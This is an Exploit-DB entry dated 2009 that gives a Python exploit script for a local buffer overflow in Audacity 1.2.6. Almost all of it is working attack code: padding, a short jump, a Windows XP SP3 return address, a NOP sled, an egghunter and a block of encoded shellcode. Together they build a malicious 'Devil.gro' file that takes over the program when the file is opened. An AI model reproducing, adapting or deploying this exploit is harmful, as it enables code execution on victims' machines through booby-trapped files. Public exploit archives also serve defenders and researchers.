Audacity 1.2.6 - '.gro' Local Buffer Overflow

EDB-ID:

10322


Platform:

Windows

Published:

2009-12-05

#exploit.py
# Audacity 1.2.6 (gro File) Buffer overflow Exploit
# By: Encrypt3d.M!nd
#     http://m1nd3d.wordpress.com/
#####################################################
# i know this exploit already been posted, but the author
# used an address as an universal,well,it's universal but
# it can't be called to jump.because it cause privileged_
# exception,so you can just use it.
#
# Tested on: Windows xp sp3
#

chars = "\x44" * 174
ns= "\xeb\x08\x90\x90"
sh= "\xbe\x2e\xd1\x72" # Windows xp sp3 - msacm32.drv

nops= "\x90"* 20

eggh= "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

shellcode= "\x69\x72\x61\x71\x69\x72\x61\x71"

shellcode+= (
"\x89\xe6\xd9\xc7\xd9\x76\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x43\x30\x43\x30\x45\x50\x45\x30\x4b\x39"
"\x4a\x45\x46\x51\x4e\x32\x51\x74\x4c\x4b\x46\x32\x44\x70\x4c"
"\x4b\x42\x72\x44\x4c\x4e\x6b\x43\x62\x42\x34\x4e\x6b\x51\x62"
"\x47\x58\x44\x4f\x48\x37\x51\x5a\x45\x76\x46\x51\x49\x6f\x45"
"\x61\x4f\x30\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x45\x52\x46\x4c"
"\x47\x50\x4f\x31\x4a\x6f\x44\x4d\x45\x51\x4f\x37\x4d\x32\x48"
"\x70\x42\x72\x46\x37\x4c\x4b\x46\x32\x42\x30\x4e\x6b\x50\x42"
"\x45\x6c\x47\x71\x4e\x30\x4e\x6b\x51\x50\x51\x68\x4c\x45\x4f"
"\x30\x44\x34\x51\x5a\x46\x61\x48\x50\x42\x70\x4c\x4b\x50\x48"
"\x42\x38\x4c\x4b\x50\x58\x51\x30\x46\x61\x4e\x33\x4d\x33\x47"
"\x4c\x43\x79\x4c\x4b\x50\x34\x4c\x4b\x46\x61\x4a\x76\x46\x51"
"\x49\x6f\x44\x71\x49\x50\x4c\x6c\x4b\x71\x4a\x6f\x46\x6d\x47"
"\x71\x4f\x37\x46\x58\x4b\x50\x43\x45\x4a\x54\x43\x33\x43\x4d"
"\x4b\x48\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x42\x78\x4c"
"\x4b\x46\x38\x45\x74\x46\x61\x4a\x73\x45\x36\x4c\x4b\x46\x6c"
"\x50\x4b\x4e\x6b\x43\x68\x45\x4c\x46\x61\x4e\x33\x4c\x4b\x46"
"\x64\x4e\x6b\x43\x31\x4e\x30\x4e\x69\x51\x54\x46\x44\x51\x34"
"\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x50\x51\x49\x6f\x49"
"\x70\x51\x48\x51\x4f\x43\x6a\x4c\x4b\x42\x32\x4a\x4b\x4f\x76"
"\x43\x6d\x50\x6a\x47\x71\x4e\x6d\x4d\x55\x4e\x59\x47\x70\x43"
"\x30\x45\x50\x46\x30\x42\x48\x44\x71\x4e\x6b\x42\x4f\x4f\x77"
"\x4b\x4f\x4a\x75\x4d\x6b\x4d\x30\x45\x4d\x46\x4a\x44\x4a\x42"
"\x48\x49\x36\x4c\x55\x4d\x6d\x4d\x4d\x49\x6f\x4e\x35\x45\x6c"
"\x45\x56\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x51\x65\x44"
"\x45\x4d\x6b\x50\x47\x44\x53\x42\x52\x50\x6f\x42\x4a\x43\x30"
"\x46\x33\x4b\x4f\x4a\x75\x42\x43\x50\x61\x50\x6c\x42\x43\x43"
"\x30\x41\x41")


file = open('Devil.gro','w')
file.write(chars+ns+sh+nops+eggh+chars+shellcode)
file.close()